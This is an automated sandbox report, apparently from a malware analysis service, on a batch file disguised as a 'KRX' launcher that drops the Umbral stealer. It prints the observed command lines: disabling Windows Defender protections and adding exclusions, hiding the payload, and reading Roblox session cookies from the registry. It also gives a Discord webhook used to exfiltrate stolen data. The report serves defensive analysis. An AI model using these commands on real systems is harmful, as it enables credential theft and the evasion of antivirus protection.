umbral | 4cc1f9f24687b31979df108d1cb40b332b2b867aa004314b3844fc9388051d10

Analysis

max time kernel
122s
max time network
137s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
06/02/2025, 18:49

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General

Target

krx/.RUN THIS SCRIPT TO START KRX.bat
Size

348B
MD5

208fd017fc655c28b29d21fd3f2f7807
SHA1

9909f1316a2db084c659660a8e4a9eb024523de0
SHA256

0d85ab947bc0b645e5bf7236b6b5731e400d25b5b3e011342263f9f2e23c4074
SHA512

51ce02366c1eaa0a37c9526c4fba52ccd7e6d35624f30708a4c12ed81891021ed83649009e5b0b26928b54fb2890339cd30417317354cf684c6dd8a7d0292f43

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1337020963363225641/h0Ve6Z9WtTbW9d3frLkSaZTzjtjFum8OAq1NnRnHG-Vd0mImdRoT37Xs5_5jhVWlKEdf

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0008000000003683-17.dat	family_umbral
behavioral1/memory/2636-25-0x00000000003A0000-0x00000000003E0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3008	powershell.exe
2428	powershell.exe
2356	powershell.exe
1580	powershell.exe
2568	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 2 IoCs

pid	Process
2636	Umbral.exe
2072	KRX Client.exe

Loads dropped DLL 2 IoCs

pid	Process
2732	KRX Client.exe
2732	KRX Client.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KRX Client.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2252	cmd.exe
2892	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1712	wmic.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2792	ipconfig.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2892	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2732	KRX Client.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3008	powershell.exe
2636	Umbral.exe
2428	powershell.exe
2356	powershell.exe
1580	powershell.exe
984	powershell.exe
2568	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2636	Umbral.exe
Token: 33	2948	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2948	AUDIODG.EXE
Token: 33	2948	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2948	AUDIODG.EXE
Token: SeIncreaseQuotaPrivilege	1452	wmic.exe
Token: SeSecurityPrivilege	1452	wmic.exe
Token: SeTakeOwnershipPrivilege	1452	wmic.exe
Token: SeLoadDriverPrivilege	1452	wmic.exe
Token: SeSystemProfilePrivilege	1452	wmic.exe
Token: SeSystemtimePrivilege	1452	wmic.exe
Token: SeProfSingleProcessPrivilege	1452	wmic.exe
Token: SeIncBasePriorityPrivilege	1452	wmic.exe
Token: SeCreatePagefilePrivilege	1452	wmic.exe
Token: SeBackupPrivilege	1452	wmic.exe
Token: SeRestorePrivilege	1452	wmic.exe
Token: SeShutdownPrivilege	1452	wmic.exe
Token: SeDebugPrivilege	1452	wmic.exe
Token: SeSystemEnvironmentPrivilege	1452	wmic.exe
Token: SeRemoteShutdownPrivilege	1452	wmic.exe
Token: SeUndockPrivilege	1452	wmic.exe
Token: SeManageVolumePrivilege	1452	wmic.exe
Token: 33	1452	wmic.exe
Token: 34	1452	wmic.exe
Token: 35	1452	wmic.exe
Token: SeIncreaseQuotaPrivilege	1452	wmic.exe
Token: SeSecurityPrivilege	1452	wmic.exe
Token: SeTakeOwnershipPrivilege	1452	wmic.exe
Token: SeLoadDriverPrivilege	1452	wmic.exe
Token: SeSystemProfilePrivilege	1452	wmic.exe
Token: SeSystemtimePrivilege	1452	wmic.exe
Token: SeProfSingleProcessPrivilege	1452	wmic.exe
Token: SeIncBasePriorityPrivilege	1452	wmic.exe
Token: SeCreatePagefilePrivilege	1452	wmic.exe
Token: SeBackupPrivilege	1452	wmic.exe
Token: SeRestorePrivilege	1452	wmic.exe
Token: SeShutdownPrivilege	1452	wmic.exe
Token: SeDebugPrivilege	1452	wmic.exe
Token: SeSystemEnvironmentPrivilege	1452	wmic.exe
Token: SeRemoteShutdownPrivilege	1452	wmic.exe
Token: SeUndockPrivilege	1452	wmic.exe
Token: SeManageVolumePrivilege	1452	wmic.exe
Token: 33	1452	wmic.exe
Token: 34	1452	wmic.exe
Token: 35	1452	wmic.exe
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	1580	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeIncreaseQuotaPrivilege	1588	wmic.exe
Token: SeSecurityPrivilege	1588	wmic.exe
Token: SeTakeOwnershipPrivilege	1588	wmic.exe
Token: SeLoadDriverPrivilege	1588	wmic.exe
Token: SeSystemProfilePrivilege	1588	wmic.exe
Token: SeSystemtimePrivilege	1588	wmic.exe
Token: SeProfSingleProcessPrivilege	1588	wmic.exe
Token: SeIncBasePriorityPrivilege	1588	wmic.exe
Token: SeCreatePagefilePrivilege	1588	wmic.exe
Token: SeBackupPrivilege	1588	wmic.exe
Token: SeRestorePrivilege	1588	wmic.exe
Token: SeShutdownPrivilege	1588	wmic.exe
Token: SeDebugPrivilege	1588	wmic.exe
Token: SeSystemEnvironmentPrivilege	1588	wmic.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2772	2828	cmd.exe	31
PID 2828 wrote to memory of 2772	2828	cmd.exe	31
PID 2828 wrote to memory of 2772	2828	cmd.exe	31
PID 2828 wrote to memory of 3008	2828	cmd.exe	32
PID 2828 wrote to memory of 3008	2828	cmd.exe	32
PID 2828 wrote to memory of 3008	2828	cmd.exe	32
PID 2828 wrote to memory of 2792	2828	cmd.exe	33
PID 2828 wrote to memory of 2792	2828	cmd.exe	33
PID 2828 wrote to memory of 2792	2828	cmd.exe	33
PID 2828 wrote to memory of 2732	2828	cmd.exe	34
PID 2828 wrote to memory of 2732	2828	cmd.exe	34
PID 2828 wrote to memory of 2732	2828	cmd.exe	34
PID 2828 wrote to memory of 2732	2828	cmd.exe	34
PID 2732 wrote to memory of 2636	2732	KRX Client.exe	35
PID 2732 wrote to memory of 2636	2732	KRX Client.exe	35
PID 2732 wrote to memory of 2636	2732	KRX Client.exe	35
PID 2732 wrote to memory of 2636	2732	KRX Client.exe	35
PID 2732 wrote to memory of 2072	2732	KRX Client.exe	36
PID 2732 wrote to memory of 2072	2732	KRX Client.exe	36
PID 2732 wrote to memory of 2072	2732	KRX Client.exe	36
PID 2732 wrote to memory of 2072	2732	KRX Client.exe	36
PID 2636 wrote to memory of 1452	2636	Umbral.exe	40
PID 2636 wrote to memory of 1452	2636	Umbral.exe	40
PID 2636 wrote to memory of 1452	2636	Umbral.exe	40
PID 2636 wrote to memory of 2108	2636	Umbral.exe	43
PID 2636 wrote to memory of 2108	2636	Umbral.exe	43
PID 2636 wrote to memory of 2108	2636	Umbral.exe	43
PID 2636 wrote to memory of 2428	2636	Umbral.exe	45
PID 2636 wrote to memory of 2428	2636	Umbral.exe	45
PID 2636 wrote to memory of 2428	2636	Umbral.exe	45
PID 2636 wrote to memory of 2356	2636	Umbral.exe	47
PID 2636 wrote to memory of 2356	2636	Umbral.exe	47
PID 2636 wrote to memory of 2356	2636	Umbral.exe	47
PID 2636 wrote to memory of 1580	2636	Umbral.exe	49
PID 2636 wrote to memory of 1580	2636	Umbral.exe	49
PID 2636 wrote to memory of 1580	2636	Umbral.exe	49
PID 2636 wrote to memory of 984	2636	Umbral.exe	51
PID 2636 wrote to memory of 984	2636	Umbral.exe	51
PID 2636 wrote to memory of 984	2636	Umbral.exe	51
PID 2636 wrote to memory of 1588	2636	Umbral.exe	53
PID 2636 wrote to memory of 1588	2636	Umbral.exe	53
PID 2636 wrote to memory of 1588	2636	Umbral.exe	53
PID 2636 wrote to memory of 1276	2636	Umbral.exe	55
PID 2636 wrote to memory of 1276	2636	Umbral.exe	55
PID 2636 wrote to memory of 1276	2636	Umbral.exe	55
PID 2636 wrote to memory of 556	2636	Umbral.exe	57
PID 2636 wrote to memory of 556	2636	Umbral.exe	57
PID 2636 wrote to memory of 556	2636	Umbral.exe	57
PID 2636 wrote to memory of 2568	2636	Umbral.exe	59
PID 2636 wrote to memory of 2568	2636	Umbral.exe	59
PID 2636 wrote to memory of 2568	2636	Umbral.exe	59
PID 2636 wrote to memory of 1712	2636	Umbral.exe	61
PID 2636 wrote to memory of 1712	2636	Umbral.exe	61
PID 2636 wrote to memory of 1712	2636	Umbral.exe	61
PID 2636 wrote to memory of 2252	2636	Umbral.exe	63
PID 2636 wrote to memory of 2252	2636	Umbral.exe	63
PID 2636 wrote to memory of 2252	2636	Umbral.exe	63
PID 2252 wrote to memory of 2892	2252	cmd.exe	65
PID 2252 wrote to memory of 2892	2252	cmd.exe	65
PID 2252 wrote to memory of 2892	2252	cmd.exe	65

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2108	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\krx\.RUN THIS SCRIPT TO START KRX.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\system32\openfiles.exe
  openfiles
  2⤵
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\krx\.crack.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3008
- C:\Windows\system32\ipconfig.exe
  ipconfig /flushdns
  2⤵
  - Gathers network information
  PID:2792
- C:\Users\Admin\AppData\Local\Temp\krx\krx\KRX Client.exe
  "C:\Users\Admin\AppData\Local\Temp\krx\krx/KRX Client.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Users\Admin\AppData\Local\Temp\Umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1452
  - - C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
      4⤵
      Views/modifies file attributes
      PID:2108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:984
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1588
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:1276
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:556
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2568
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1712
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:2252
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2892
- - C:\Users\Admin\AppData\Local\Temp\KRX Client.exe
    "C:\Users\Admin\AppData\Local\Temp\KRX Client.exe"
    3⤵
    - Executes dropped EXE
    PID:2072

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:3036

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x508
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\KRX Client.exe

Filesize
13.4MB

MD5
7907e9406015ceba49d7f1156f032ac8

SHA1
a8034055f4358c1d687b3c2c70c588f37982fa88

SHA256
fc59d043ebbf8e3225f399030bc6447a0592e992bcb57a08d769c35934335de3

SHA512
bff798c9a2301120c343e7108a857dc2a78e5c18fa5fbc06d71ada65f96adbff3ce47e3ffbf51c13db50f0c09ae6d0bcad4a2abe3911e0bd0b2a1b816c0685a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
231KB

MD5
39866481d5925ad5fb5a6c72bc51c3c5

SHA1
6c646ec853a4178e219c73cd1788d3f51623099d

SHA256
38042abd98755c213a6f36e5c79d23e7d09b56495b29daab3e89fcdccde80ad2

SHA512
daca18d9d9132ffe07b142a80148aa98575c72052de8bd18115f85adcac1ed8b6f990a85d3076a9c88e934694ae8ba19b58eb6cf81bc27a3c84480c3e853779d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
29296cb247bbbe68acaf41d5fe915930

SHA1
f11577b452f569c6866da1575eb52552131e3dc7

SHA256
ece91a5d81660c0868ceb8edbd1b39e6c564d928a52044ce68c7acf88f0da2f9

SHA512
7a057ad906d92dcab482fecea6d35aadb81820a8ec762d7034da23256aca175a24b572d987f59a26492faef19694cf5328061dae1567a3dd4ab1622de6f29666

Download Submit
memory/2072-26-0x0000000140000000-0x0000000142086000-memory.dmp

Filesize
32.5MB

Download
memory/2356-41-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2428-35-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2428-34-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/2568-72-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download
memory/2568-71-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2636-25-0x00000000003A0000-0x00000000003E0000-memory.dmp

Filesize
256KB

Download
memory/2732-28-0x0000000003600000-0x0000000005686000-memory.dmp

Filesize
32.5MB

Download
memory/3008-4-0x000007FEF626E000-0x000007FEF626F000-memory.dmp

Filesize
4KB

Download
memory/3008-11-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-10-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-9-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-8-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-7-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-6-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/3008-5-0x000000001B250000-0x000000001B532000-memory.dmp

Filesize
2.9MB

Download